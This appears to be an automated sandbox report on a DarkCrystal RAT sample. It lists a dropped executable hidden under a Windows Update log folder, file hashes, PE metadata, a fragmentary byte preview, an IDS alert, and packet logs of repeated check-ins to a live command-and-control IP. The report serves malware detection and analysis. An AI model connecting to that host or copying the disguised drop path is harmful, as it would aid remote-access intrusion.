                                                                                                                                      Preview:B0Np4FeoovLL6IeItWnNyjOwsyqLFWT1yVLISmsx4wFKj6cPJsDDOj3cla7FZTjSbTXl6V0Ho0TBdDMwVaBWTPmOcth1omYlMxtPi0Ty26ZYQ18hOLt9RN8LrJJMy8cBcsyqU6NfGNdXzO8kv9nd3ZT9zhiZrG94dY6hCSNR7O2EtlVdLjbzU9IDYz1xXyxAOj3bSaidvVfohOPNLFOIpJjeQ2INba3Ja10Kr4LuA8D9ddgJjnlSkpVE9YLZRVBVbWOpYEfR4dHqFkBwW8nxyljugvLTsvdp6shGP0vfHUYGio8ZXYCSrOh0xdIm3MiIAbuXC4hgNHqdMcM2ww6UtK7sKrTvsIl4wQFH3lWc0gFjhDnURQzHQOYzdBMVlwyEgvr6WF8LZddNFXKGD8ecTeoh2Pn2YB0ErADwWr7LRorwvKuF1GRnRWvCGJEGbGwYnYfEUYuWATKpw1wrfhAStNxVPBpMn0tK1SJWoqvdW5m8LFPPXWl4FepZlJzSshsJj9ydsZCzwh5ykyKJwazQPzFWntvf1cuyMcZLRvh8UwHii0yw9pgSsc4t4b08nh8TxHmIZ81B315crgxx59fL6cGtipR05iUxyyvbOqWAxfZ1gcBXoDCoBwWUA2ktrBGUgIo3vViOneXbDPNFo3M1fpvBbabVGmTwZEUYyIlSeyBgY5RvpeFyzOy0WmbV4N

                                                                                                                                      C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):3682816
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      MD5:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      SHA1:5FFDB9A82FAF2FC9DDA683DC026E10376BC5A7BC
                                                                                                                                      SHA-256:A15DEBB35819618DDE10ABC793552E6ADDF91BAF38D2025C274D84FDCEDB97FA
                                                                                                                                      SHA-512:0F76D1C698295E6B2D1EA94A8FED8388754A4AAAF25ED0E25CC7EF9EEEA91F0BD8DA3240843ACF2CCE15D7896D2B9C5859637D19C8B3AD24DB11308274101775
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@..................................H8.K....`8.p.....................8...................................................... ............... ..H............text....(8.. ...*8................. ..`.rsrc...p....`8......,8.............@....reloc........8......08.............@..B.................H8.....H...........l.......o...\....d-..H8......................................0..........(.... ........8........E........\...)...M...8....(.... ....~q...{}...:....& ....8....(.... ....~q...{....:....& ....8....(.... ....8....*....0.......... ........8........E....V...z...................8Q......... ....8........~....(S...~....(W... ....?.... ....~q...{....:....& ....8....8.... ....~q...{....9t...& ....8i...~....9.... ....~q...{....:K...& ....8@...~....(K... .... .... ....s....~...

                                                                                                                                      C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exe:Zone.Identifier

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):26
                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                      \Device\Null

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Windows\System32\PING.EXE
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):502
                                                                                                                                      Entropy (8bit):4.618543484589417
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:Pbl5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:7dUOAokItULVDv
                                                                                                                                      MD5:385FA32869190D89EDB3801D4D2B9DA6
                                                                                                                                      SHA1:573C24017B7A1D1F7EBF7762FDF0C22FD768F910
                                                                                                                                      SHA-256:C8E47F3E310A26EF778572287CBECBA18A1813EB66DDB2E453992447F94CABCC
                                                                                                                                      SHA-512:8A5DA2BC94EA6C618078C0D03AEA95E37B113795DE5772210F72C44100CD885AB2D176ED4EA7FE2DC9325504CF698DC9DC01747AA72E2200F6394D1316289D7E
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:..Pinging 128757 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

                                                                                                                                      Static File Info

                                                                                                                                      General

                                                                                                                                      File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      TrID:
                                                                                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                                                      • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                                                      • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                                      • Windows Screen Saver (13104/52) 0.07%
                                                                                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                      File name:eu6OEBpBCI.exe
                                                                                                                                      File size:3'682'816 bytes
                                                                                                                                      MD5:17d1a3b2d87457f2492926349fae2417
                                                                                                                                      SHA1:5ffdb9a82faf2fc9dda683dc026e10376bc5a7bc
                                                                                                                                      SHA256:a15debb35819618dde10abc793552e6addf91baf38d2025c274d84fdcedb97fa
                                                                                                                                      SHA512:0f76d1c698295e6b2d1ea94a8fed8388754a4aaaf25ed0e25cc7ef9eeea91f0bd8da3240843acf2cce15d7896d2b9c5859637d19c8b3ad24db11308274101775
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      TLSH:5106E00AA5D25E33C1E93F3284D7103E42F0DB666522FF5B361F61A5AC0A671DB162B3
                                                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@................................

                                                                                                                                      File Icon

                                                                                                                                      Icon Hash:90cececece8e8eb0

                                                                                                                                      Static PE Info

                                                                                                                                      General

                                                                                                                                      Entrypoint:0x7848ee
                                                                                                                                      Entrypoint Section:.text
                                                                                                                                      Digitally signed:false
                                                                                                                                      Imagebase:0x400000
                                                                                                                                      Subsystem:windows gui
                                                                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                      Time Stamp:0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
                                                                                                                                      TLS Callbacks:
                                                                                                                                      CLR (.Net) Version:
                                                                                                                                      OS Version Major:4
                                                                                                                                      OS Version Minor:0
                                                                                                                                      File Version Major:4
                                                                                                                                      File Version Minor:0
                                                                                                                                      Subsystem Version Major:4
                                                                                                                                      Subsystem Version Minor:0
                                                                                                                                      Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                      Entrypoint Preview

                                                                                                                                      Instruction
                                                                                                                                      jmp dword ptr [00402000h]
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al
                                                                                                                                      add byte ptr [eax], al

                                                                                                                                      Data Directories

                                                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x3848a00x4b.text
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x3860000x370.rsrc
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x3880000xc.reloc
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                      Sections

                                                                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                      .text0x20000x3828f40x382a0042673830c3e37c0125733bc51c11e04bunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                      .rsrc0x3860000x3700x400f5b4b040117b4857518a5167ac8e6846False0.376953125data2.8641840753628585IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                      .reloc0x3880000xc0x20059b3ab918b7da865038c460568333f58False0.044921875data0.09800417566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                      Resources

                                                                                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                      RT_VERSION0x3860580x318data0.44823232323232326

                                                                                                                                      Imports

                                                                                                                                      DLLImport
                                                                                                                                      mscoree.dll_CorExeMain

                                                                                                                                      Network Behavior

                                                                                                                                      Suricata IDS Alerts

                                                                                                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                      2024-12-09T00:27:12.843013+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973091.227.41.980TCP

                                                                                                                                      Network Port Distribution

                                                                                                                                      TCP Packets

                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                      Dec 9, 2024 00:27:11.425858974 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:11.546753883 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:11.547045946 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:11.547744989 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:11.669197083 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:11.906604052 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:12.025950909 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:12.816457033 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:12.842915058 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:12.842976093 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:12.843013048 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:12.889857054 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.075114012 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.147099018 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.194490910 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.266403913 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.266539097 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.266706944 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.385967970 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.445909977 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.480319977 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.530482054 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.565187931 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.624420881 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.743807077 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.743827105 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.743839979 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.854285002 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:13.905483961 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:13.915473938 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.034723997 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.265125990 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.320184946 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.374232054 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.384427071 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.384481907 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.532691002 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.577379942 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.773011923 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.815012932 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:14.827418089 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.948998928 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.952029943 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:14.953485012 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.070199966 CET804973091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.070291996 CET4973080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.072993040 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.073056936 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.073219061 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.074353933 CET804973291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.074415922 CET4973280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.193954945 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.421179056 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:15.542215109 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.542238951 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:15.542448044 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:16.342046022 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:16.499247074 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:16.577415943 CET804973691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:16.702363968 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:16.865077972 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:16.986644983 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:16.986743927 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:16.986875057 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:17.107955933 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:17.343085051 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:17.464648962 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:17.464663982 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:17.464673042 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:18.284813881 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:18.405508041 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.517462969 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:18.593029976 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.646585941 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.646646976 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.765986919 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:18.766047955 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.766187906 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.766294956 CET804973991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:18.766340971 CET4973980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:18.885356903 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:19.026568890 CET4973680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:19.124336958 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:19.243798018 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:19.243812084 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:19.243823051 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:19.830502033 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:19.949842930 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:19.949915886 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:19.950061083 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:20.043591022 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.069269896 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.093003988 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:20.277448893 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.296232939 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:20.315646887 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:20.405522108 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:20.415637970 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.415662050 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.477359056 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.932818890 CET804974291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:20.934565067 CET4974280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.145910025 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.145996094 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.224628925 CET4974180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.225008011 CET4974680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.329514980 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.343960047 CET804974191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.344255924 CET804974691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.344352007 CET4974680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.448822975 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.448911905 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.449067116 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.452671051 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.568296909 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.571918964 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.572027922 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.572278976 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.691514015 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.796194077 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:25.915747881 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.915762901 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:25.921263933 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:26.040599108 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:26.040612936 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:26.040623903 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:26.733467102 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:26.843528986 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:26.911372900 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:26.969522953 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.093025923 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.104453087 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.145360947 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.202411890 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.273669004 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.273958921 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.273960114 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.394958019 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.395030022 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.395148993 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.395221949 CET804974791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.395328999 CET4974780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.395718098 CET804974891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.395764112 CET4974880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:27.516145945 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.750787020 CET4975080192.168.2.491.227.41.9
